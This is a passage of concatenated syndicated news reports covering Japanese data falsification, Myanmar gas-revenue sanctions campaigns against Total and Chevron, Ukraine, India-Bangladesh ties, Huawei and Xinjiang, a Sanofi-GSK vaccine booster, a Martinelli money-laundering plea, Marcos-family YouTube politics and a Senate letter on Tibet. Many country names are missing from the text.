construction companies, the ratio of those concerned is very small, he said. "How much influence do they have? The kind of sloppy company - which puts out numbers late - is probably not a big one." Land Minister Tetsuo Saito, member of the Komeito party - the junior partner of the ruling coalition - confirmed the practice in parliament, calling it "extremely regrettable". Asked about the issue, the government's top spokesperson said only that the land ministry had been instructed to analyse "as soon as possible" what led to the practice. "We will first wait for the results of that investigation," Chief Cabinet Secretary Hirokazu Matsuno told a news conference when asked whether past GDP figures, the government's monthly economic report, or other data may need to be revised. The rewriting of the data, which may be in breach of law, continued until this March, the Asahi said. lower house clears biggest-ever extra budget Japans lower house of parliament on Wednesday passed the governments biggest-ever extra budget worth $316 billion as it looks to spur a recovery from Covid-19 pandemic. (Reuters) (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The young woman in decided to speak out when she realised that money from the company she loved was now in the hands of the leaders she hated. She and her parents had long worked for Total Energies, the French company that operates a lucrative gas field off the coast of southern with a state-owned enterprise. But in February, the took over Myanmar's government and its bank accounts, including those that receive hundreds of millions of dollars each year from the Total gas field, known as Yadana. As abuses such as the murder and detention of thousands have grown, the young woman joined across in a groundswell of support for targeted sanctions on oil and gas funds, the country's single largest source of foreign currency revenue. But Western governments most notably the United States and France have refused to take that step amid lobbying from energy company officials and resistance from countries such as Thailand, which gets gas from Myanmar. On Friday, the US announced a raft of sanctions against several Myanmar officials and entities, but again left out oil or gas revenues. The young woman chanted slogans outside Total's offices, and later protested the military's takeover. She said she has since lost her job, and was thrown into prison for three weeks. We had a good relationship and good memories of Total, said the young woman, whose name, like those of other Myanmar gas workers in this story, is being withheld by The Associated Press for their safety. Total has taken a lot from Myanmar....so they should at least help Myanmar with a little bit of effort during such a bloody period in our country. In recent months, the Myanmar public's cries for sanctions on gas revenues have grown thunderous. In August, activists launched the Blood Money Campaign movement, risking their lives by marching in the streets and carrying signs that read: Freeze payments to junta and save Myanmar. posted photos of themselves on social media holding signs that targeted the gas companies at the centre of the debate: Total, Chevron Stop accessory to murder. The United Nations' top expert on human rights in Myanmar says millions of people across the country are imposing personal sanctions by withholding taxes, refusing to pay power bills and boycotting products linked to the military. And on Nov. 30, hundreds of civil society organisations in Myanmar joined their colleagues in signing a letter asking Total's CEO to stop payments to military-controlled accounts. The AP also obtained a copy of a letter from workers at Yadana to their managers earlier this year calling on Total's subsidiary, Total E&P Myanmar, to suspend export payments to the military, place the funds in a protected account and freeze income tax. We are specifically concerned that the profits gained from Yadana Project, which we are working for, will, one way or another, help fund the military junta's violent repression of Myanmar people, the letter said. Total and Chevron say they condemn human rights abuses, but argue that sanctions could cause Myanmar's people further problems, such as cutting off electricity and making local gas workers vulnerable to military retaliation. Meanwhile, tolerance on the ground for global inaction has worn thin. Local armed groups, referred to as People's Defense Forces, have targeted bill collectors for the national utility and sabotaged buildings and infrastructure, according to EarthRights International, which works on environmental and human rights issues in Myanmar. Pro-sanctions activists don't want to shut down the gas field itself. Instead, they want to sanction the project's revenues and place them in a protected offshore bank account that the military can't touch. The sanctions would target the state-owned Myanma Oil and Gas Enterprise (MOGE), which is a joint venture partner in all offshore gas projects in Myanmar, including Yadana with Total, Chevron, and Thailand's PTT Exploration & Production. Total has a majority stake in the venture and runs its daily operations, while MOGE collects revenues on behalf of the government. Gas from Yadana is piped to Myanmar and neighbouring Thailand. Several smaller offshore gas fields operate in Myanmar's waters, run by companies from Thailand, Japan, Malaysia, India and South Korea in partnership with MOGE. China is also an investor in the pipeline that delivers the gas to the country. About 50 percent of Myanmar's foreign currency comes from natural gas revenues, with MOGE expected to earn $1.5 billion from offshore and pipeline projects in 2021-2022, according to a Myanmar government forecast. The Yadana gas project and pipeline is particularly important, earning around $400 million in revenues in 2017-2018. Yet despite the growing calls for action, neither US President Joe Biden nor French President Emmanuel Macron have publicly moved against Myanmar's oil and gas revenues. The current sanctions from the US and European Union lean heavily on gemstones. The US State Department did not directly address AP's questions about why it has yet to impose sanctions on MOGE. Instead, the department pointed to a list of other people and entities the US has already sanctioned, including several military officials and their family members, two army units believed responsible for a litany of atrocities, the military's two largest holding companies and a state-owned gems enterprise. We will not hesitate to take further action against those who perpetrate violence and suppress the will of the people, the department said in a statement. An aide on the House Foreign Affairs Committee acknowledged that oil and gas make up a huge chunk of the military's ability to maintain control. Despite that, a measure introduced in the House in October that specifically calls out MOGE as a potential sanctions target has yet to advance. The aide, who spoke on condition of anonymity to describe the thinking around the legislation, said objections from Singapore and Thailand have played a role in the Biden administration's hesitation to impose new sanctions, as has lobbying from Chevron. Activists have accused Singapore's banks of holding assets on the Myanmar military's behalf, although its central bank has said regular surveillance showed Myanmar companies and citizens did not have significant funds in the city state. In the first half of 2021, Chevron reported spending $3.7 million on federal lobbying in the US, with Burma Energy Issues and Myanmar Energy and Investment Issues listed as specific lobbying areas of focus. It certainly seems in the US there is a major lobbying campaign going on from Chevron to try and protect its interests, said Chris Sidoti, a human rights lawyer and a member of the UN Fact Finding Mission on Myanmar from 2017 to 2019. In response to questions from the AP, a spokesman for Chevron pointed to an earlier statement from the company, which said Chevron would comply with any sanctions imposed by the US. Any actions should be carefully considered to ensure the people of Myanmar are not further disadvantaged by unintended and unpredictable consequences of well-intentioned decisions, Chevron wrote in its May statement. The French government also said it wants to avoid adding to the burdens of Myanmar civilians through sanctions and aims to target individuals from the junta rather than a vital economic sector. France wants to avoid normalising relations with the junta but also wants to stay involved on the ground for humanitarian reasons, which requires operational contacts with Myanmar's administration, according to a senior official in the French president's office. He described the French government's thinking on condition of anonymity. He said Total's activities in Myanmar, including how it carries out payment for the gas, are the company's responsibility. Both the French government and Total want a return to a democratically elected government, but at the same time you have to take into account the reality on the ground," he said. French authorities have told activists that Europe is expecting to impose a fourth round of sanctions by Feb. 1, the anniversary of the military's takeover, and that both the energy and banking sectors are on the table. Total said in a statement that it is trying to keep its local employees safe from reprisals such as forced labour, and also to avoid further harm to Myanmar's population. Total also argues that it has to pay taxes and respect its contract legally, and that it will donate the equivalent of the taxes to human rights associations in Myanmar. Total cancelled exploration for new deposits in Myanmar after the military takeover. The facts are that, in order to close off this source of revenue, the gas production should be brought to a stop, the statement said. Any cut to such supply of gas and, consequently, any risk of disruption to the supply of electricity must be considered in light of the consequences it could have on everyday life of local citizens." But several workers in Myanmar interviewed by AP dismissed concerns about their welfare, arguing the entire country is already oppressed. On Nov. 30, 789 civil society organisations including 540 within Myanmar sent a letter to CEO Patrick Pouyanne asking the company to put an end to its complicity in crimes against humanity by making payments to a holding account until democracy is restored. The letter argued that Total is now violating local laws against misappropriating public money and has placed itself on the side of the junta. MOGE can be targeted for sanctions without interrupting the flow of energy, said Tom Andrews, the United Nations special rapporteur on Myanmar. The people of Myanmar are not calling for anything that they, themselves, are unwilling to do, Andrews said in an e-mail to the AP. But the fact remains that to be truly effective, the people of Myanmar need countries to join them and impose sanctions on MOGE. Human rights activists say it's unconscionable for any company to help fund a military that has, in recent months, engaged in mass torture, launched attacks on medics, forcibly disappeared thousands of people, and returned mutilated corpses to victims' families as tools of terror. Since February, soldiers and police have killed at least 1,300 people and arrested more than 10,800, according to the Assistance Association for Political Prisoners, which monitors deaths and arrests. Last month, the National Unity Government, an underground opposition group and parallel administration, released a public statement that dubbed MOGE the military's most important financial lifeline and called for urgent sanctions. As a nation, we have these natural resources to build a school, to build a hospital, to build a road, said spokesman Dr. Sasa, who goes by one name. So why are we still using this money to kill the people of Myanmar? To us, it is barbarity. In response to questions, the military said state revenue is used for education, infrastructure, development projects and public service, and is also used proportionately for the rule of law and for defense. The military has long denied allegations of human rights abuses. All state revenue is spent according to the needs of the country, the military said in a statement to the AP. "Putting restrictions on the current government is directly affecting the social and economic life of the citizens. The Yadana project provides less than 1.5 percent of Chevron's worldwide natural gas output, and Total says Yadana represents less than 1 percent of its production. But while Yadana isn't a significant source of income, it also doesn't cost the companies much because major set-up fees were incurred decades ago, said Readul Islam, a Singapore-based research analyst at Rystad Energy. Chevron and Total would also struggle to sell the operation, given the remaining short life of the aging gas field and the grim political situation, he said. These operations are not company-makers by any sense, but they are profitable," Islam said. Also, Chevron and Total's aversion to sanctions may be less about money than about precedent, said John Sifton, Asia advocacy director at Human Rights Watch. If you signal that every time a country has serious human rights abuses, Human Rights Watch and other groups can come in and say, You should sanction your revenue,' it's going to create business headaches for them all over the world, he said. With public pressure mounting, Total and Chevron announced in May that they were suspending dividend payments by the Moattama Gas Transportation Company, which owns the Yadana pipeline. While welcoming the move as a first step, activists argue the dividend payments are a fraction of the military's gas revenues. The energy analytics firm Wood Mackenzie in November downgraded its forecast of Myanmar gas exports to Thailand after Yadana's output fell faster than expected. Rights activists said Thai fears of a gas slowdown or cutoff at a time of surging prices across Asia have stiffened its resistance to new sanctions, which the US and EU appeared reluctant to challenge. The Thai government did not respond with comment. In Myanmar, some gas workers have dismissed the energy companies' concerns that they will face retaliation with sanctions. One 10-year employee of Total said the risk of losing his job due to sanctions was nothing compared to the risk of the generals remaining in power. Everyone needs a job, he said. But I don't want to survive by working here while everyone is suffering from this crisis. Given he and millions of already have risked so much in the pursuit of democracy, he is frustrated with the community's failure to act. I don't understand why they keep paying the junta, he said. After the young woman whose family had long worked for Total protested outside its gates, the contractor company that hired her warned her not to participate again in the country's pro-democracy Civil Disobedience Movement, she said. A few months later, she posted on social media about what she felt was Total's poor treatment of a colleague who died of COVID-19. Days later, she said, the contractor company fired her for allegedly defaming Total. In a statement, Total said that no Total E&P employees have been fired since the military's takeover, and none have been prevented from participating in the Civil Disobedience Movement. In September, she was arrested and imprisoned for three weeks under Section 505(A) of the Penal Code, which, in part, criminalises comments that cause fear or spread false news. I feel very disappointed in Total because they are neglecting this country in which they invested, she said. For another Total employee, the lack of action from those who claim to stand for human rights is baffling. Why, he asked, hasn't the community told gas companies that if they do business with the military, they can no longer do business with the rest of the world? For him, the solution to military abuse is simple. If they do not have revenue, they cannot buy weapons, he says. If they cannot buy weapons, this revolution will end quickly. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Ukrainian Defence Minister Oleksii Reznikov said Tuesday that the former Soviet republic has no plans to attack anyone, and its gathering of troops is purely defensive amid speculations of a possible Russian invasion of as soon as next month. In recent weeks, there has been a massive Russian troop buildup near Ukraine's border which has prompted fears of a possible invasion in Kyiv and the West. Moscow has denied plans to attack and in turn blamed Ukraine's own military buildup in the east of the country, where Ukrainian forces have been fighting with Russia-backed separatists since 2014. Russian officials alleged that Kyiv might try to reclaim the areas controlled by the rebels by force. Ukrainian officials have denied an intention to do so. "We don't plan to attack anyone and we don't plan to invade any other country's territory, Reznikov said. "Our defence capacity is important to protect our people, our society, our lives." He told reporters that war in means war in Europe, adding that "there are clear signals from the community that Ukraine will not be left alone in case of a Russian invasion." Russian President Vladimir Putin has strongly emphasized that Ukraine's aspirations to join NATO represent a red line for Moscow, and also expressed concern about plans by some Alliance members to set up military training centers in Ukraine. He said that would give them a military foothold there even without Ukraine joining the 30-country military organisation. Reznikov said that Ukraine's right to join any military alliance, including NATO, was written down in the country's Constitution, adding "we are going to be a de facto NATO member and implement NATO standards." "We are going to make to reforms because that is what we need, he added. Reznikov was in Stockholm to meet his Swedish counterpart Peter Hultqvist and Sweden's Foreign Minister Ann Linde. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) President held talks with his Bangladeshi counterpart M Abdul Hamid on the first day of his three-day visit here on Wednesday, further expanding bilateral ties based on sovereignty, equality, trust and understanding that transcend even a strategic partnership. President Kovind arrived here earlier in the day on a maiden three-day State Visit at the invitation of Hamid to attend the golden jubilee celebrations of Bangladesh's independence from Pakistan in 1971. "President Kovind @rashtrapatibhvn welcomed by President HE Md. Abdul Hamid for their bilateral meeting at Bangabhaban. Further expanding bilateral ties based on sovereignty, equality, trust and understanding that transcend even a strategic partnership, Ministry of External Affairs (MEA) spokesperson Arindam Bagchi tweeted. After the talks, President Hamid will host a banquet in his Indian counterpart's honour which will be joined by Prime Minister Sheikh Hasina Hasina at Bangabhaban Presidential Palace. Earlier, Prime Minister Hasina called on President Kovind and the two leaders discussed several issues of mutual interest and bilateral cooperation. Both sides reviewed the progress in the multifaceted and comprehensive bilateral ties. The two leaders also recalled the spirit of the 1971 Liberation War and expressed satisfaction at the joint celebration of Maitri Diwas on December 6, Bagchi said. Foreign Minister Dr A.K. Abdul Momen separately called on President Kovind and "apprised him of the excellent progress in bilateral cooperation and of future joint projects, including in the area of connectivity," he said in another tweet. Earlier in the day, President Hamid along with his wife Rashida Khanam received President Kovind at Dhaka's Hazrat Shahjalal Airport. He was accorded a red carpet welcome upon his arrival. He is the only foreign head of state invited to join the celebrations which also coincides with birth centenary celebrations of Bangabandhu Sheikh Mujibur Rahman and 50 years of Dhaka-New Delhi ties. It is President Kovind's first trip abroad since the outbreak of the COVID-19 pandemic. He will represent India as the guest of honour in Bangladesh's 50th Victory Day celebrations here. In a reflection of close ties, India is also hosting a number of events to mark the 50th anniversary of the 1971 India-Pakistan war that led to the liberation of (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Chinese tech conglomerate has reportedly been linked to domestic spying in region, while building technology for labour and re-education camps as well as surveillance systems in the western Chinese region largely populated by Uyghur Muslims. According to PowerPoint presentations obtained by The Washington Post, the tech giant's work may have been involved in the "persecution against ethnic minorities in the region". A slide translated by the Post details a surveillance system used in "It talks about how public security forces in the region's capital of Urumqi used a facial recognition system to catch a fugitive," according to the report that came out on Tuesday. However, the presentations for Huawei's work on surveillance systems do not mention Uyghurs, and the company has denied directly supplying tech to According to the report, one of the slides talks about Huawei's products being "the foundation of the smart prisons unified platform," with reference to labour for manufacturing and analysis of re-education efficiency. In Xinjiang, up to two million people from Uyghur and other ethnic Muslim minorities have allegedly been put into internment camps, according to the US State Department. The Chinese government has been accused of carrying out several human rights violations against the Uyghurs, putting them in detention and re-education camps and using them for forced labour. The US Treasury said this week that Chinese AI company SenseTime has been sanctioned because of the role its technology plays in enabling human rights abuses against the Uyghurs and other Muslim minorities in Xinjiang -- accusations that SenseTime has strongly denied. The Uyghur Tribunal said last week that China, by the imposition of measures to prevent births intended to destroy a significant part of the Uyghurs in Xinjiang as such, has committed genocide. The UK-based independent Tribunal said that torture of Uyghurs attributable to is established beyond reasonable doubt. The Chinese Communist Party (CCP) has mounted multifaceted and multiplatform information campaigns to deny accusations of forced labour, mass detention, surveillance, sterilisation, cultural erasure and alleged genocide in the Xinjiang region. --IANS na/svn/shb/ (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Sanofi and GlaxoSmithKline Plc, the pharma giants that stumbled in the race to develop a Covid-19 shot, said their experimental vaccine works as a booster but suffered yet another delay with the main clinical trial results. The booster raised the antibody levels of people whod already received other inoculations such as Pfizer Inc.s and AstraZeneca Plcs, the drugmakers said in a statement Wednesday. Crucial test results for the underlying vaccine, meanwhile, were pushed back to the first quarter. Neither study pitted the product against the new omicron variant. The two partners took the unusual step of saying their shot works as a booster before they could show its effective as a first-line immunization. More participants need to get Covid to wrap up the clinical trial, a delay that prevents the companies from seeking regulatory approval for the booster. Sanofi and Glaxo, two of the vaccine industrys biggest players, must show they still have a role to play in the pandemic after a dosing error forced them to restart a clinical trial. The vaccine is nearing the end of clinical trials, and countries may be reluctant to order doses before they see data on how well the initial product wards off infection -- particularly from omicron. The booster is based on the original strain. Data from another one developed with the beta variant will yield results in the first half of 2022, the companies said. Tests against omicron are underway. Given the rapidly evolving Covid-19 landscape, including the recent emergence of a likely more transmissible omicron variant, it is challenging to interpret this delay, Peter Welford, an analyst at Jefferies, wrote in a note. One point that could restore some belief in the project would be to show that the vaccine offers durable protection, Welford and colleagues said, since the immunity from messenger RNA shots appears to wane after a few months. Sanofi shares dropped less than 1% in Paris trading, as did Glaxo in London. With roughly 8.5 billion shots having been administered around the world, the partners are pivoting toward selling a universal booster -- a vaccine that can work to revive the effect of any vaccine. But once again theyre lagging behind, with Pfizer and its partner BioNTech SE, along with Moderna Inc. and to a lesser extent Astra and Johnson & Johnson having secured regulatory approval for their follow-up shots already. With omicron, the Covid vaccine world is once again in flux as it seeks to answer questions about vaccine efficacy. The U.K. and are storming ahead with booster campaigns and the Pfizer-BioNTech team as well as Moderna are saying they could start shipping an updated version of their shots as soon as March. Flu Technology Even without the new mutations, its hard to measure which booster shots work best. Each aims to multiply antibodies, often far above levels that people developed after their initial rounds of shots. Sanofi and Glaxos vaccine noted a 9- to 43-fold increase in neutralizing antibodies after their booster, which was safe and well tolerated, they said. That result is impossible to assess as theres no agreement on how these relate to vaccine efficacy for regulatory approval, said Sam Fazeli, head of research at Bloomberg Intelligence. The Sanofi-Glaxo product relies on technology the French drugmaker uses to make flu vaccines and an adjuvant from the U.K. company to enhance the immune response. It can be kept at fridge temperatures, making it easier to transport and store than existing mRNA shots. Sanofi CEO Paul Hudson said recently that the company already has sales agreements for about 75 million doses with European countries for the booster, provided clinical data supports its use. A son of Panama's former president, Ricardo Martinelli, pleaded guilty Tuesday in New York to laundering $28 million in connection with a massive bribery scheme involving a Brazil-based global construction conglomerate. Ricardo Martinelli Linares, 42, was extradited to the U.S. last week from Guatemala in a case involving the construction company Odebrecht S.A. His younger brother, Luis Enrique Martinelli Linares, had previously followed the same path: he was extradited from Guatemala to the U.S. in November and pleaded guilty on December 2nd to the same count of conspiracy to commit money laundering. Odebrecht's scheme involved the payment of more than $700 million in bribes to government officials, public servants, political parties, and in and other countries to obtain business for the company. The company pleaded guilty in 2016 to conspiracy to violate anti-bribery provisions of the U.S. Foreign Corrupt Practices Act. A U.S. judge had previously ordered both brothers held without bail. Prosecutors said that an earlier attempt to finalize a plea bargain in the case fell apart in June of 2020 when the brothers slipped across the U.S. border, travelled to the Bahamas by boat, and then boarded a private jet in an attempt to return to When the plane was turned away due to COVID-19 travel restrictions, they ended up in several Central American countries before entering Guatemala on invalid diplomatic credentials. They were arrested there, on an arrest warrant issued out of New York, when they attempted to board a private family jet, set to fly to They spent more than a year in a Guatemalan prison, before being extradited to the U.S. U.S. District Judge Raymond Dearie agreed with prosecutors Tuesday that Martinelli Linares couldn't be released on a $5 million proposed bond because of the way he fled in 2020. This is somebody who planned an escape, Dearie said. Actions speak louder than words. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) In the hills of Baguio, the summer capital of the Philippines, a massive head hovers above the trees. Carved on the side of Mount Pugo, La Union, the 30-meter concrete bust overlooks the northern provinces, as if gazing over its vast domain. The head is of former president and dictator Ferdinand Marcos. Yet today, his effigy is hardly recognizable. Shortly after the 1986 People Power Revolution that deposed and exiled the Marcos family, indigenous groups displaced by the busts construction returned to smear pigs blood across the leaders face. Three years later, communist rebels bombed the same bust, leaving intact only the heads lower half and exposing its hollow interior. The once powerful Marcos, who steered the for 21 years, had been deposed, evicted, and now defaced. Philippine scholar Bobby Benedicto reads such destruction as the symbolic death blows to the Marcos regime, that for revolution to put an end to the time of dictatorship it must also target the figures that render the dictator timeless and his rule without end. In literally imprinting himself onto the mountainside, Marcos sought to make visible his legacy, a piece of himself to remember through time. In blowing it up, his detractors shattered that legacy and thereby exposed its contradictions. Or so was the hope among Philippine democrats in 1986. Today, 35 years after the People Power Revolution, the Philippine public largely views the disgraced Marcoses not with contempt and dread but with a longing for what was, and for what could have been. Indeed, in the minds of many Filipinos, the potential return to power of the Marcos clan is a vindication of what was supposed to be. With the late dictators son, former senator BongBong Marcos (BBM), declaring his candidacy for president in Octoberand with public support nearly overwhelmingthe chance to wrest back power draws closer to reality. A September 2021 Pulse Asia survey, for instance, put Marcos in second place among declared and undeclared presidential candidates, bested only by Sara Duterte, the daughter of the current president-dictator. In October, the Social Weather Stations gave Marcos a 60 percent chance of victory, with runner-up and current vice president Leni Robredo a full 25 points behind. In mid-November, giving the campaign an even greater boost, Sara Duterte joined the late dictators son as his running mate. Even if polls shift in the coming months, it is hard to ignore the vigor and commitment of BBMs supporters, 8,000 of whom in early November held the longest motorcade in the country, which spanned 78 miles. We did this to show Bongbong Marcos that we can sacrifice for him, declared one of the caravans volunteer organizers, There is no need to pay us. For these Filipinos, the Marcoses did not fall from grace, much less rape the country through plunder and torture. These Filipinos see themselves as heirs to a Philippine golden age, a glorious legacy interrupted by revolution. The familys return is thus almost messianic, with its supporters as stewards of a political rapture. Authoritarian Nostalgia To observers in the Western world, Filipinos seem like an overly forgiving people willing to forget the sins of the past. To scholars, liberal is systemically flawed, incapable of meeting the rising demands of inequality and representation. Yet perhaps the bust in Baguio offers another kind of answer. While Marcos supporters see it as a tribute to the presidents exemplary leadership and critics consider it a display of his utter vanity, the bust, more profoundly, is a product of a national political culture that has been obsessed with spectacles. Regardless of whether one agrees with its intent, the busts existence radiates a fantasy, papering over the leaders blemishes for a timeless, unchanging image of strength. For it was Marcos aura of public grandeur, after all, that allowed him to literally carve his likeness onto the national landscape. Scaling the larger Baguio countryside, for example, is an eponymous highway that leads to vast bridges, the familys mansions, and a presidential center. An hours drive into Manila reveals grand theaters and complexes commissioned by Marcos wife, Imelda. These remnants, like the bust, effectively seed the familys immortality as physical reminders of apparent prosperity in a country scarred by ruin. Thus the busts destruction, while disfiguring the surface, could not entirely upend a cultural fascination with the spectacular: another bust could simply reemerge in its place. Indeed, in recent years, a more powerful one already has. The capacity of social media to democratize spectacleby flooding the public realm with nearly unlimited truthshas intensified the blurring of appearance and fact, performance and policy, past and present. And BongBongs dominance on YouTube has successfully broadcast a different memory of revolution that is supplanting his familys national injustice with their political return. Marcosian Spectacles You need only watch a few BBM vlogs before you start (almost) admiring the late dictators son. In one video hes reviewing viral Filipino TikToks, in another hes donning new looks in a makeover. Sometimes these vlogs include the whole family for various social media challenges: confronting funny truths with a lie detector, testing their mettle in a whats in the box, and dissing and exposing each other in a whos most likely. The skillful engineering and editing give them the feel of BuzzFeed videos. Depicting the interiority of the Marcos family and the rhythms of their daily lives, the vlogs are cheerful, humorous, affectionate, and seemingly unscripted. In three years, these ahistorical portraits have attracted nearly two million subscribers and millions more viewers. With YouTube and Facebook ranking as the most popular social media apps in the Philippines, the strength of BBMs online support cannot be understated. The Marcoses deployment of spectacle to stir and sustain mass support is hardly new to Philippine public life. Indeed, for a country that sent world champion boxer Manny Pacquio to its senate and movie star Isko Moreno to the Manila mayors office and placed them third and fourth, respectively, as 2022 presidential favorites the grand personalization of is routine, and almost expected. As Philippine media scholar Anna Cristina Pertierra observes, the glitz of showbusiness and success of personal charisma evoke positive versions of [patron-client] relationships to generate followings that are easily translated between the screen and the ballot box. The Marcoses, perhaps more astutely than anyone, recognized this link. In the 1960s, the newly wedded Ferdinand and Imelda Marcos rose to power by boasting expensive looks and offering flashy performances to generate popular appeal. Often singing together at campaign events, they turned their lives into a private spectacle, staging a stylized version of their intimacy. Imelda, in fact, fashioned herself as the Peoples Star, believing that the poor needed dreams and she fulfilled their wishes by being a star. Yet the sheen of the couples public charisma soon proved to be affectations when their obsession with aesthetics turned obscene and criminal. In full command of the Philippine economy, they amassed extravagant houses, jewels, artwork, furniture, a legendary collection of shoes, and even a private zoo with animals illegally imported from Africa. According to the Philippine Supreme Court, they drew $10 billion dollars from the nations treasury, which they later laundered through Swiss bank accounts. In the later Marcos years, the conjugal dictatorship commissioned exorbitant public works projects, a fixation Philippine historian Gerard Lico called Imeldas edifice complex. Behindand at one point, beneaththese splendid buildings are stains of human tragedy: 50 indigenous groups were forcibly relocated into reservations, and later enlisted to perform tribal rituals for tourists at the Philippine Cultural Center; rural Filipino children starved to death even as the Philippine Childrens Medical Center opened in the capital; and an entire floor of the Manila Film Center collapsed onto 169 workers during its weeks-long construction. Allegedly, the Marcoses ordered the surviving construction crew to simply build over the cement-cased bodies. To be clear, infrastructure projects are not inherently political props, and are often needed and widely used by the general public. But nearly all of the Marcoses sites were built fast, recklessly, and for the pleasure of a global audience while fellow Filipinos literally fell through the cracks. Such is the kind of ruthless impunity seen now in the Marcos political return, which has largely been facilitated by BBMs vlogs of historical revisionism. Youtube Populism Three recurring themes emerge from BongBong Marcos videos: injury, proximity, and exceptionalism. Each scaffolds a central populist message: you and I struggled for the past 30 years you and I are cut from the same cloth so lets restore this nations greatness together. In a series called #ProtestWatch, for instance, BBM documented his refusal to concede the 2016 vice presidential race after barely losing to Robredo, blaming her camp for voter fraud and ballot tampering. After filing legal challenges to the Supreme Court, he recounts in one video how throngs of loyalists who had camped outside the court for 100 days provided him hundreds and thousands of friendly faces. In another, to the backdrop of BBM! chants, one supporter proclaims, We are here fighting for the truth! These protests continued even as the Supreme Court issued a unanimous ruling confirming Robredos win and chastised Marcos for his anemic claims. This victim complex is, arguably, an extension of Ferdinand and Imeldas insistence that anti-martial law activists were insurgents who, out of political avarice, exiled and convicted legitimate public servants. But in the age of social media, such indignation takes on new meaning, as these videos update supporters in real time and invite new followers through vicarious appeal. Many BBM vlogs also show Marcos and his team carrying out ayuda drives, which involve hauling truckloads of food, medicine, clothes, masks, and other supplies to disaster- or COVID-affected areas, and handing them directly to locals. When the Taal Volcano erupted in 2020, engulfing surrounding villages with ash, a BBM vlog showed the former senator touring evacuation centers while taking selfies with families brandishing their new care packages. Its important to show that the national government is here for them, too, Marcos said to the camera, while the local government is evacuating them from danger. Thus the appeal of proximity lies not only in cheeky fast talks with his son Sandro or an attempt at the popular video game Mobile Legendsefforts that can be read as youth voter outreachbut in being with communities in need as the national response falters. However, even as these vlogs fatten the heart, as Marcos puts it, they are indeed another spectacle. While Sandro Marcos chose to hand out personal protective equipment to fellow Ilocanos during his birthday, his familys long reign over Ilocos Norte, the northwestern coast of Luzon, belies effective public service. According to a 2009 report from the Philippines Human Development Indexwhich measures regional levels of educational attainment, life expectancy, and income per capitaIlocos ranks sixth, falling behind islands like Davao, Cebu, and Baguio. Thats hardly anything worth vlogging about. Fading Revolution Yet those statistics, which stem from policy decisions, will likely never enter the minds of BBM vlog viewers, who avidly believe that the Marcoses carry and share greatness. Celebrating his fathers 104th birthday, BBM reflected on the legacy of the president: My father had a vision, a dream for our country. Let us return to that concept of service for nation building. Such messaging urges Filipinos to recall years of national development and strength as a template for forging a nostalgic future, one BongBong inevitably hopes to claim. But the power of the Marcosian spectacle is that it does not simply project or circulate its truth it endears and identifies even as it ultimately distracts. For instance, in one vlog praising Filipino resiliency, BBM wipes away tears as he shows videos of people smiling, dancing, and even carrying lechon (roasted pig) as they tread through summer flood waters brimming with trash. Thats always been the Filipino spirit, an effusive Marcos declares, the resiliency of our countrymen is truly out of this world. However, as writer Jelou Galang argues, romanticizing resilience is toxic, as it normalizes suffering and abdicates government responsibility, giving people permission to forget their righteous rage. When the singing fades and the cameras stop rolling, the Marcoses pockets will still be stuffed with bloodied money money they stole, money they killed for, money from their own people circling back to create these vlogs. Today, there is no democratic revolution bursting onto the horizon. Instead, Filipinos appear to be finding recourse and recovery in an authoritarian fraud on par with that of President Duterte. Amid a steepening economic crisis, a haphazard pandemic response, numerous corruption scandals, territorial standoffs with China, environmental ruin, and tens of thousands of extrajudicial killings, the resounding popular will is continuity, not revolution. The unique power of YouTube in conditioning this consent thus gives Marcos more than votes or political clout. It gives him ownership over the spirit of People Power, over the right of a disenchanted people to redirect their nations future. After more than thirty years of exclusive democracy, Filipinos are doing exactly that by reinstalling the family they had proudly deposed. What will it take to again expose the hollow core of that bust of Ferdinand Marcos? Perhaps its too late to say. Thanks to the combined efforts of BongBong Marcos and Sara Duterte, the bust may soon be whole again. A bipartisan group of top American Senators has urged the Biden administration to give top priority to the Tibetan issue, in particular engaging with the Tibetan spiritual leader the Dalai Lama, saying there is a need for a policy that further validates Tibet's distinct political, ethnic, cultural and religious identity apart from that of The Tibetan Policy and Support Act of 2020 (TPSA) passed by the US Congress makes it official policy that decisions over the reincarnation of the Dalai Lama are exclusively within the authority of the current Dalai Lama, Tibetan Buddhist leaders and the Tibetan people. China, meanwhile, has tightened its control in The US Senators, in a letter to Uzra Zeya, Under Secretary of State for Civilian Security, Democracy and Human Rights, said that matters to the US. matters to us, not only as an issue that is important to our constituents and the Tibetan-American community, but also as a tangible manifestation of a principled foreign policy that prioritises human rights and the quest for human dignity, they said. Indian-origin Zeya is expected to be appointed as Special Coordinator for Tibetan Issues. The lawmakers advocated for a US policy towards Tibet that protects the rights, autonomy and dignity of the Tibetan people. The letter also calls for a policy that further validates Tibet's distinct political, ethnic, cultural and religious identity apart from that of the People's Republic of We stand ready to work with you on this urgent moral issue, they said. As you prepare to assume the duties of the Special Coordinator, we write to convey our thoughts about how the Biden administration and Congress can collaborate to advance US policy on Tibet consistent with US law, including the 2002 Tibetan Policy Act and the 2020 Tibetan Policy and Support Act (TPSA), they wrote. Led by Senator Marco Rubio, the lawmakers said that President Joe Biden can demonstrate the importance of the Dalai Lama's moral message and example by inviting him to meet in the Oval Office to discuss shared interests and strategies for addressing the world's most pressing problems. If His Holiness is unable to travel, then the President should seek an opportunity to meet with him in India, or send a high-level representative, such as the Vice President or a cabinet official, to do so in his stead, they said. Seeking to deepen the engagement with the Central Tibetan Administration (CTA) in Exile, the senators sought to engage the new Sikyong, Penpa Tsering, on ways to improve the livelihoods of Tibetans within the CTA, to protect Tibetan culture and language inside and outside of Tibet, and to resolve the Tibet conflict consistent with Tibetans' aspirations for dignity and freedom. Religious freedom and the Dalai Lama's reincarnation. The Tibetan Policy and Support Act (TPSA) established as US policy that decisions involving the next Dalai Lama are religious in nature and belong solely to him and the Tibetan people. We welcome the Biden administration's support of this policy, they wrote. We urge you, and other administration officials, to publicly reiterate this policy and work with like-minded governments to craft a multilateral strategy to affirm this stance as the norm, not only as a matter of religious freedom but as a strategic counter to the Chinese Communist Party's and government's claims of ownership to the lands of the Tibetan people and its assertion of control over the religious institution of the Dalai Lama, the letter added. is accused of 